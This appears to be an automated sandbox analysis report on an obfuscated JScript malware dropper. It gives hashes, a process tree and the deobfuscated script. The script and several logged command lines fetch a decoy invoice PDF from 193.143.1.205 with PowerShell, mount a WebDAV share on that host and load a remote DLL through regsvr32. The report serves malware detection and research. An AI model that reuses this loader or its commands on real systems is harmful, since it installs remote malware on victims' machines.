Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16719), with CRLF line terminators
Entropy (8bit):	4.902415024891864
TrID:
File name:	959032706323392160.js
File size:	20'056 bytes
MD5:	8a92130fcc70934febe6d228396b0912
SHA1:	18091610f96f76511121a40cab3f321b6b57e8a3
SHA256:	8c2f591a569a75708d5f9d78233d2eef5546c56de25a403090335f23a88c6596
SHA512:	d35e2610eaf25e2df0283630509cb1fcc72048cca260fa3164d4710f0a887bc939e15a3a979d6e38cbcfc39a0fa5bdeec62cd42870d3a8948a9de9d2b63b526b
SSDEEP:	384:zaaJAdrjQWwM4s9Eo4h6fzzup30VP4pVr7aKLek9GJyiGSRPf6nJ:q4ATzzup30VP4pVrNA6J
TLSH:	159224CC6A558A0F8EC450F8624B69FE9059638EA06C519E87D39CC69AC0F74F3E5CF4
File Content Preview:	function pvtkvax(){xbztzcqs=[1031,3079,5127,4103,2055,3072];var kqsvuwvcc=this[sucjrbwpu+ohmcn+tmoql+iwxkm+bjrpfen+qtsibb+aqipqf+zzffda](this[zxbechn+cmtbyk+aistuvdw+tmoql+duzxrsxz+sucjrbwpu+zzffda][bqosyq+tmoql+bjrpfen+ohmcn+zzffda+bjrpfen+tgnpf+gjjaqkrp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	01:04:54
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\959032706323392160.js"
Imagebase:	0x7ff695530000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:04:54
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Imagebase:	0x7ff6f13c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:04:54
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:04:54
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:04:59
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	01:04:59
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f13c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:04:59
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff653870000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:05:00
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	01:05:00
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff71e800000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:05:00
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1700,i,3079690565526618978,4989752131941697140,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function pvtkvax() {	pvtkvax() ➔ undefined
1	xbztzcqs = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kqsvuwvcc = this[sucjrbwpu + ohmcn + tmoql + iwxkm + bjrpfen + qtsibb + aqipqf + zzffda] ( this[zxbechn + cmtbyk + aistuvdw + tmoql + duzxrsxz + sucjrbwpu + zzffda][bqosyq + tmoql + bjrpfen + ohmcn + zzffda + bjrpfen + tgnpf + gjjaqkrpo + ojzolwmy + bjrpfen + aistuvdw + zzffda] ( zxbechn + cmtbyk + aistuvdw + tmoql + duzxrsxz + sucjrbwpu + zzffda + ozncj + cmtbyk + uzaifmj + bjrpfen + wlvjv + wlvjv ) [jvgmcui + bjrpfen + gxfjedn + jvgmcui + bjrpfen + ohmcn + otdun] ( nwvbvqt + glrocvr + cnhrci + ujummbbh + cizxumsx + bqosyq + gctalbab + jvgmcui + jvgmcui + cnhrci + cjklnhbef + nqisfcbco + cizxumsx + gctalbab + cmtbyk + cnhrci + jvgmcui + kcbbf + bqosyq + ndsfriwls + aqipqf + zzffda + tmoql + ndsfriwls + wlvjv + txpupdt + hiywmb + ohmcn + aqipqf + bjrpfen + wlvjv + kcbbf + qtsibb + aqipqf + zzffda + bjrpfen + tmoql + aqipqf + ohmcn + zzffda + duzxrsxz + ndsfriwls + aqipqf + ohmcn + wlvjv + kcbbf + gxrugsg + ndsfriwls + aistuvdw + ohmcn + wlvjv + bjrpfen ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( crenjezkv = 0 ; crenjezkv < xbztzcqs[wlvjv + bjrpfen + aqipqf + gxfjedn + zzffda + uzaifmj] ; ++ crenjezkv )
4	{
5	if ( kqsvuwvcc == xbztzcqs[crenjezkv] )
6	{
7	kqsvuwvcc = true;
8	break ;
9	}
10	}
11	if ( kqsvuwvcc !== true )
12	this[zxbechn + cmtbyk + aistuvdw + tmoql + duzxrsxz + sucjrbwpu + zzffda][tqulgk + mmyhnjlxy + duzxrsxz + zzffda] ( );
13	this[zxbechn + cmtbyk + aistuvdw + tmoql + duzxrsxz + sucjrbwpu + zzffda][bqosyq + tmoql + bjrpfen + ohmcn + zzffda + bjrpfen + tgnpf + gjjaqkrpo + ojzolwmy + bjrpfen + aistuvdw + zzffda] ( zxbechn + cmtbyk + aistuvdw + tmoql + duzxrsxz + sucjrbwpu + zzffda + ozncj + cmtbyk + uzaifmj + bjrpfen + wlvjv + wlvjv ) [tmoql + mmyhnjlxy + aqipqf] ( aistuvdw + eemny + otdun + txpupdt + ydnlctw + aistuvdw + txpupdt + sucjrbwpu + ndsfriwls + omcgo + bjrpfen + tmoql + iwxkm + uzaifmj + bjrpfen + wlvjv + wlvjv + ozncj + bjrpfen + dazmd + bjrpfen + txpupdt + dlsglvmc + bqosyq + ndsfriwls + eemny + eemny + ohmcn + aqipqf + otdun + txpupdt + xxssj + qtsibb + aqipqf + mxsharsn + ndsfriwls + gzofks + bjrpfen + dlsglvmc + zxbechn + bjrpfen + gjjaqkrpo + jvgmcui + bjrpfen + buxzcfd + mmyhnjlxy + bjrpfen + iwxkm + zzffda + txpupdt + dlsglvmc + tgnpf + mmyhnjlxy + zzffda + vvpkf + duzxrsxz + wlvjv + bjrpfen + txpupdt + mbmfhc + zzffda + bjrpfen + eemny + sucjrbwpu + mbmfhc + kcbbf + duzxrsxz + aqipqf + mxsharsn + ndsfriwls + duzxrsxz + aistuvdw + bjrpfen + ozncj + sucjrbwpu + otdun + fzkvdxeb + txpupdt + uzaifmj + zzffda + zzffda + sucjrbwpu + wqxztnfm + ydnlctw + ydnlctw + dwxzpfnuv + qxckky + deshcdqez + ozncj + dwxzpfnuv + exehppc + deshcdqez + ozncj + dwxzpfnuv + ozncj + rntbj + qimfm + fwcig + ydnlctw + duzxrsxz + aqipqf + mxsharsn + ndsfriwls + duzxrsxz + aistuvdw + bjrpfen + ozncj + sucjrbwpu + uzaifmj + sucjrbwpu + xxssj + gvhmuem + gvhmuem + iwxkm + zzffda + ohmcn + tmoql + zzffda + txpupdt + mbmfhc + zzffda + bjrpfen + eemny + sucjrbwpu + mbmfhc + kcbbf + duzxrsxz + aqipqf + mxsharsn + ndsfriwls + duzxrsxz + aistuvdw + bjrpfen + ozncj + sucjrbwpu + otdun + fzkvdxeb + gvhmuem + gvhmuem + aistuvdw + eemny + otdun + txpupdt + ydnlctw + aistuvdw + txpupdt + aqipqf + bjrpfen + zzffda + txpupdt + mmyhnjlxy + iwxkm + bjrpfen + txpupdt + kcbbf + kcbbf + dwxzpfnuv + qxckky + deshcdqez + ozncj + dwxzpfnuv + exehppc + deshcdqez + ozncj + dwxzpfnuv + ozncj + rntbj + qimfm + fwcig + rgodm + qltmr + qltmr + qltmr + qltmr + kcbbf + otdun + ohmcn + mxsharsn + omcgo + omcgo + omcgo + tmoql + ndsfriwls + ndsfriwls + zzffda + kcbbf + gvhmuem + gvhmuem + aistuvdw + eemny + otdun + txpupdt + ydnlctw + aistuvdw + txpupdt + tmoql + bjrpfen + gxfjedn + iwxkm + mxsharsn + tmoql + deshcdqez + rntbj + txpupdt + ydnlctw + iwxkm + txpupdt + kcbbf + kcbbf + dwxzpfnuv + qxckky + deshcdqez + ozncj + dwxzpfnuv + exehppc + deshcdqez + ozncj + dwxzpfnuv + ozncj + rntbj + qimfm + fwcig + rgodm + qltmr + qltmr + qltmr + qltmr + kcbbf + otdun + ohmcn + mxsharsn + omcgo + omcgo + omcgo + tmoql + ndsfriwls + ndsfriwls + zzffda + kcbbf + dwxzpfnuv + rntbj + qxckky + qimfm + gwjjmvum + rntbj + fwcig + gwjjmvum + exehppc + rntbj + rntbj + deshcdqez + gihanqqxa + qltmr + ozncj + otdun + wlvjv + wlvjv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll",0,false) ➔ 0
14	}
15	rntbj = "E";
16	rntbj = "l";
17	rntbj = "C";
18	rntbj = "A";
19	rntbj = "y";
20	rntbj = "m";
21	rntbj = "b";
22	rntbj = "g";
23	rntbj = "L";
24	rntbj = "B";
25	rntbj = "U";
26	rntbj = "S";
27	rntbj = "S";
28	rntbj = "n";
29	rntbj = "F";
30	rntbj = "r";
31	rntbj = "J";
32	rntbj = "o";
33	rntbj = "E";
34	rntbj = "X";
35	rntbj = "Z";
36	rntbj = "l";
37	rntbj = "e";
38	rntbj = "q";
39	rntbj = "2";
40	xxssj = "k";
41	xxssj = "Y";
42	xxssj = "h";
43	xxssj = "L";
44	xxssj = "X";
45	xxssj = "S";
46	xxssj = "b";
47	xxssj = "K";
48	xxssj = "F";
49	xxssj = "E";
50	xxssj = "x";
51	xxssj = "n";
52	xxssj = "B";
53	xxssj = "N";
54	xxssj = "m";
55	xxssj = "h";
56	xxssj = "X";
57	xxssj = "S";
58	xxssj = "U";
59	xxssj = "L";
60	xxssj = "o";
61	xxssj = "s";
62	xxssj = "z";
63	xxssj = "O";
64	xxssj = "V";
65	xxssj = "F";
66	xxssj = "M";
67	xxssj = "d";
68	xxssj = "n";
69	xxssj = "r";
70	xxssj = "p";
71	xxssj = "U";
72	xxssj = "b";
73	xxssj = "x";
74	xxssj = "d";
75	xxssj = "l";
76	xxssj = "\"";
77	deshcdqez = "e";
78	deshcdqez = "p";
79	deshcdqez = "r";
80	deshcdqez = "i";
81	deshcdqez = "j";
82	deshcdqez = "V";
83	deshcdqez = "X";
84	deshcdqez = "A";
85	deshcdqez = "Z";
86	deshcdqez = "Y";
87	deshcdqez = "K";
88	deshcdqez = "h";
89	deshcdqez = "s";
90	deshcdqez = "A";
91	deshcdqez = "w";
92	deshcdqez = "D";
93	deshcdqez = "R";
94	deshcdqez = "d";
95	deshcdqez = "K";
96	deshcdqez = "l";
97	deshcdqez = "o";
98	deshcdqez = "N";
99	deshcdqez = "M";
100	deshcdqez = "Y";
101	deshcdqez = "A";
102	deshcdqez = "W";
103	deshcdqez = "s";
104	deshcdqez = "v";
105	deshcdqez = "l";
106	deshcdqez = "V";
107	deshcdqez = "b";
108	deshcdqez = "S";
109	deshcdqez = "k";
110	deshcdqez = "c";
111	deshcdqez = "3";
112	otdun = "e";
113	otdun = "a";
114	otdun = "L";
115	otdun = "n";
116	otdun = "h";
117	otdun = "z";
118	otdun = "R";
119	otdun = "R";
120	otdun = "s";
121	otdun = "d";
122	mxsharsn = "P";
123	mxsharsn = "i";
124	mxsharsn = "H";
125	mxsharsn = "d";
126	mxsharsn = "Z";
127	mxsharsn = "z";
128	mxsharsn = "t";
129	mxsharsn = "P";
130	mxsharsn = "c";
131	mxsharsn = "W";
132	mxsharsn = "E";
133	mxsharsn = "o";
134	mxsharsn = "E";
135	mxsharsn = "l";
136	mxsharsn = "S";
137	mxsharsn = "Q";
138	mxsharsn = "b";
139	mxsharsn = "X";
140	mxsharsn = "v";
141	rgodm = "Q";
142	rgodm = "p";
143	rgodm = "S";
144	rgodm = "C";
145	rgodm = "t";
146	rgodm = "k";
147	rgodm = "U";
148	rgodm = "t";
149	rgodm = "s";
150	rgodm = "w";
151	rgodm = "k";
152	rgodm = "B";
153	rgodm = "l";
154	rgodm = "J";
155	rgodm = "p";
156	rgodm = "s";
157	rgodm = "v";
158	rgodm = "i";
159	rgodm = "j";
160	rgodm = "S";
161	rgodm = "k";
162	rgodm = "e";
163	rgodm = "B";
164	rgodm = "c";
165	rgodm = "e";
166	rgodm = "o";
167	rgodm = "w";
168	rgodm = "R";
169	rgodm = "c";
170	rgodm = "Z";
171	rgodm = "i";
172	rgodm = "r";
173	rgodm = "n";
174	rgodm = "n";
175	rgodm = "Y";
176	rgodm = "@";
177	fwcig = "v";
178	fwcig = "m";
179	fwcig = "S";
180	fwcig = "M";
181	fwcig = "t";
182	fwcig = "C";
183	fwcig = "H";
184	fwcig = "q";
185	fwcig = "x";
186	fwcig = "f";
187	fwcig = "Z";
188	fwcig = "N";
189	fwcig = "j";
190	fwcig = "m";
191	fwcig = "S";
192	fwcig = "y";
193	fwcig = "i";
194	fwcig = "P";
195	fwcig = "C";
196	fwcig = "A";
197	fwcig = "r";
198	fwcig = "j";
199	fwcig = "5";
200	tgnpf = "Y";
201	tgnpf = "b";
202	tgnpf = "a";
203	tgnpf = "c";
204	tgnpf = "E";
205	tgnpf = "S";
206	tgnpf = "s";
207	tgnpf = "T";
208	tgnpf = "c";
209	tgnpf = "e";
210	tgnpf = "s";
211	tgnpf = "p";
212	tgnpf = "Z";
213	tgnpf = "X";
214	tgnpf = "i";
215	tgnpf = "t";
216	tgnpf = "G";
217	tgnpf = "D";
218	tgnpf = "Q";
219	tgnpf = "m";
220	tgnpf = "i";
221	tgnpf = "x";
222	tgnpf = "q";
223	tgnpf = "D";
224	tgnpf = "Y";
225	tgnpf = "m";
226	tgnpf = "v";
227	tgnpf = "R";
228	tgnpf = "Z";
229	tgnpf = "O";
230	jvgmcui = "s";
231	jvgmcui = "M";
232	jvgmcui = "P";
233	jvgmcui = "Q";
234	jvgmcui = "U";
235	jvgmcui = "p";
236	jvgmcui = "G";
237	jvgmcui = "Q";
238	jvgmcui = "L";
239	jvgmcui = "N";
240	jvgmcui = "e";
241	jvgmcui = "t";
242	jvgmcui = "n";
243	jvgmcui = "P";
244	jvgmcui = "M";
245	jvgmcui = "x";
246	jvgmcui = "Z";
247	jvgmcui = "T";
248	jvgmcui = "C";
249	jvgmcui = "J";
250	jvgmcui = "H";
251	jvgmcui = "F";
252	jvgmcui = "i";
253	jvgmcui = "P";
254	jvgmcui = "Y";
255	jvgmcui = "Y";
256	jvgmcui = "f";
257	jvgmcui = "H";
258	jvgmcui = "I";
259	jvgmcui = "p";
260	jvgmcui = "j";
261	jvgmcui = "e";
262	jvgmcui = "j";
263	jvgmcui = "C";
264	jvgmcui = "k";
265	jvgmcui = "I";
266	jvgmcui = "B";
267	jvgmcui = "h";
268	jvgmcui = "g";
269	jvgmcui = "j";
270	jvgmcui = "C";
271	jvgmcui = "I";
272	jvgmcui = "x";
273	jvgmcui = "H";
274	jvgmcui = "R";
275	ozncj = "C";
276	ozncj = "C";
277	ozncj = "v";
278	ozncj = "c";
279	ozncj = "C";
280	ozncj = "o";
281	ozncj = "F";
282	ozncj = "G";
283	ozncj = "U";
284	ozncj = "S";
285	ozncj = "V";
286	ozncj = "E";
287	ozncj = "P";
288	ozncj = "w";
289	ozncj = "s";
290	ozncj = "l";
291	ozncj = "a";
292	ozncj = "e";
293	ozncj = "u";
294	ozncj = "n";
295	ozncj = "L";
296	ozncj = "T";
297	ozncj = ".";
298	aqipqf = "d";
299	aqipqf = "B";
300	aqipqf = "k";
301	aqipqf = "i";
302	aqipqf = "n";
303	mbmfhc = "N";
304	mbmfhc = "v";
305	mbmfhc = "J";
306	mbmfhc = "H";
307	mbmfhc = "G";
308	mbmfhc = "d";
309	mbmfhc = "r";
310	mbmfhc = "y";
311	mbmfhc = "b";
312	mbmfhc = "T";
313	mbmfhc = "L";
314	mbmfhc = "F";
315	mbmfhc = "d";
316	mbmfhc = "p";
317	mbmfhc = "F";
318	mbmfhc = "V";
319	mbmfhc = "Q";
320	mbmfhc = "T";
321	mbmfhc = "f";
322	mbmfhc = "D";
323	mbmfhc = "f";
324	mbmfhc = "q";
325	mbmfhc = "Q";
326	mbmfhc = "C";
327	mbmfhc = "M";
328	mbmfhc = "J";
329	mbmfhc = "%";
330	bjrpfen = "R";
331	bjrpfen = "w";
332	bjrpfen = "n";
333	bjrpfen = "M";
334	bjrpfen = "e";
335	bjrpfen = "h";
336	bjrpfen = "C";
337	bjrpfen = "z";
338	bjrpfen = "A";
339	bjrpfen = "l";
340	bjrpfen = "S";
341	bjrpfen = "c";
342	bjrpfen = "f";
343	bjrpfen = "J";
344	bjrpfen = "O";
345	bjrpfen = "T";
346	bjrpfen = "t";
347	bjrpfen = "M";
348	bjrpfen = "h";
349	bjrpfen = "v";
350	bjrpfen = "z";
351	bjrpfen = "t";
352	bjrpfen = "h";
353	bjrpfen = "A";
354	bjrpfen = "e";
355	duzxrsxz = "E";
356	duzxrsxz = "E";
357	duzxrsxz = "I";
358	duzxrsxz = "I";
359	duzxrsxz = "U";
360	duzxrsxz = "F";
361	duzxrsxz = "t";
362	duzxrsxz = "o";
363	duzxrsxz = "d";
364	duzxrsxz = "N";
365	duzxrsxz = "o";
366	duzxrsxz = "o";
367	duzxrsxz = "K";
368	duzxrsxz = "f";
369	duzxrsxz = "r";
370	duzxrsxz = "B";
371	duzxrsxz = "u";
372	duzxrsxz = "i";
373	duzxrsxz = "i";
374	dazmd = "I";
375	dazmd = "m";
376	dazmd = "x";
377	dazmd = "S";
378	dazmd = "I";
379	dazmd = "V";
380	dazmd = "e";
381	dazmd = "p";
382	dazmd = "o";
383	dazmd = "D";
384	dazmd = "N";
385	dazmd = "b";
386	dazmd = "U";
387	dazmd = "V";
388	dazmd = "D";
389	dazmd = "g";
390	dazmd = "x";
391	wlvjv = "D";
392	wlvjv = "d";
393	wlvjv = "B";
394	wlvjv = "m";
395	wlvjv = "z";
396	wlvjv = "X";
397	wlvjv = "E";
398	wlvjv = "Q";
399	wlvjv = "s";
400	wlvjv = "l";
401	glrocvr = "S";
402	glrocvr = "G";
403	glrocvr = "i";
404	glrocvr = "j";
405	glrocvr = "c";
406	glrocvr = "J";
407	glrocvr = "I";
408	glrocvr = "W";
409	glrocvr = "l";
410	glrocvr = "W";
411	glrocvr = "H";
412	glrocvr = "I";
413	glrocvr = "W";
414	glrocvr = "N";
415	glrocvr = "K";
416	gxfjedn = "a";
417	gxfjedn = "L";
418	gxfjedn = "n";
419	gxfjedn = "I";
420	gxfjedn = "K";
421	gxfjedn = "h";
422	gxfjedn = "D";
423	gxfjedn = "u";
424	gxfjedn = "T";
425	gxfjedn = "d";
426	gxfjedn = "A";
427	gxfjedn = "I";
428	gxfjedn = "q";
429	gxfjedn = "F";
430	gxfjedn = "z";
431	gxfjedn = "i";
432	gxfjedn = "d";
433	gxfjedn = "n";
434	gxfjedn = "i";
435	gxfjedn = "X";
436	gxfjedn = "K";
437	gxfjedn = "L";
438	gxfjedn = "f";
439	gxfjedn = "F";
440	gxfjedn = "k";
441	gxfjedn = "q";
442	gxfjedn = "l";
443	gxfjedn = "E";
444	gxfjedn = "Y";
445	gxfjedn = "D";
446	gxfjedn = "t";
447	gxfjedn = "B";
448	gxfjedn = "g";
449	cizxumsx = "W";
450	cizxumsx = "N";
451	cizxumsx = "_";
452	iwxkm = "o";
453	iwxkm = "l";
454	iwxkm = "i";
455	iwxkm = "z";
456	iwxkm = "q";
457	iwxkm = "o";
458	iwxkm = "O";
459	iwxkm = "g";
460	iwxkm = "s";
461	uzaifmj = "u";
462	uzaifmj = "H";
463	uzaifmj = "S";
464	uzaifmj = "N";
465	uzaifmj = "v";
466	uzaifmj = "A";
467	uzaifmj = "h";
468	ohmcn = "A";
469	ohmcn = "m";
470	ohmcn = "b";
471	ohmcn = "i";
472	ohmcn = "y";
473	ohmcn = "c";
474	ohmcn = "Z";
475	ohmcn = "V";
476	ohmcn = "b";
477	ohmcn = "p";
478	ohmcn = "C";
479	ohmcn = "f";
480	ohmcn = "W";
481	ohmcn = "x";
482	ohmcn = "D";
483	ohmcn = "M";
484	ohmcn = "u";
485	ohmcn = "b";
486	ohmcn = "r";
487	ohmcn = "a";
488	ohmcn = "X";
489	ohmcn = "p";
490	ohmcn = "v";
491	ohmcn = "M";
492	ohmcn = "s";
493	ohmcn = "c";
494	ohmcn = "u";
495	ohmcn = "B";
496	ohmcn = "r";
497	ohmcn = "V";
498	ohmcn = "V";
499	ohmcn = "a";
500	dwxzpfnuv = "D";
501	dwxzpfnuv = "1";
502	tmoql = "q";
503	tmoql = "R";
504	tmoql = "j";
505	tmoql = "m";
506	tmoql = "L";
507	tmoql = "r";
508	tmoql = "c";
509	tmoql = "t";
510	tmoql = "r";
511	bqosyq = "Z";
512	bqosyq = "o";
513	bqosyq = "j";
514	bqosyq = "t";
515	bqosyq = "x";
516	bqosyq = "B";
517	bqosyq = "l";
518	bqosyq = "T";
519	bqosyq = "n";
520	bqosyq = "i";
521	bqosyq = "o";
522	bqosyq = "J";
523	bqosyq = "Q";
524	bqosyq = "J";
525	bqosyq = "r";
526	bqosyq = "u";
527	bqosyq = "p";
528	bqosyq = "k";
529	bqosyq = "l";
530	bqosyq = "T";
531	bqosyq = "P";
532	bqosyq = "b";
533	bqosyq = "x";
534	bqosyq = "X";
535	bqosyq = "u";
536	bqosyq = "J";
537	bqosyq = "C";
538	bqosyq = "o";
539	bqosyq = "m";
540	bqosyq = "F";
541	bqosyq = "E";
542	bqosyq = "G";
543	bqosyq = "L";
544	bqosyq = "n";
545	bqosyq = "C";
546	aistuvdw = "J";
547	aistuvdw = "O";
548	aistuvdw = "t";
549	aistuvdw = "i";
550	aistuvdw = "a";
551	aistuvdw = "o";
552	aistuvdw = "x";
553	aistuvdw = "Q";
554	aistuvdw = "p";
555	aistuvdw = "u";
556	aistuvdw = "r";
557	aistuvdw = "Z";
558	aistuvdw = "H";
559	aistuvdw = "f";
560	aistuvdw = "d";
561	aistuvdw = "i";
562	aistuvdw = "R";
563	aistuvdw = "B";
564	aistuvdw = "l";
565	aistuvdw = "v";
566	aistuvdw = "U";
567	aistuvdw = "P";
568	aistuvdw = "M";
569	aistuvdw = "S";
570	aistuvdw = "s";
571	aistuvdw = "N";
572	aistuvdw = "i";
573	aistuvdw = "R";
574	aistuvdw = "k";
575	aistuvdw = "z";
576	aistuvdw = "u";
577	aistuvdw = "B";
578	aistuvdw = "V";
579	aistuvdw = "O";
580	aistuvdw = "K";
581	aistuvdw = "V";
582	aistuvdw = "c";
583	cjklnhbef = "G";
584	cjklnhbef = "T";
585	cjklnhbef = "P";
586	cjklnhbef = "K";
587	cjklnhbef = "U";
588	cjklnhbef = "v";
589	cjklnhbef = "O";
590	cjklnhbef = "W";
591	cjklnhbef = "r";
592	cjklnhbef = "Z";
593	cjklnhbef = "A";
594	cjklnhbef = "U";
595	cjklnhbef = "K";
596	cjklnhbef = "S";
597	cjklnhbef = "N";
598	ydnlctw = "u";
599	ydnlctw = "t";
600	ydnlctw = "E";
601	ydnlctw = "c";
602	ydnlctw = "Z";
603	ydnlctw = "r";
604	ydnlctw = "N";
605	ydnlctw = "y";
606	ydnlctw = "Q";
607	ydnlctw = "T";
608	ydnlctw = "j";
609	ydnlctw = "G";
610	ydnlctw = "Z";
611	ydnlctw = "G";
612	ydnlctw = "q";
613	ydnlctw = "U";
614	ydnlctw = "i";
615	ydnlctw = "v";
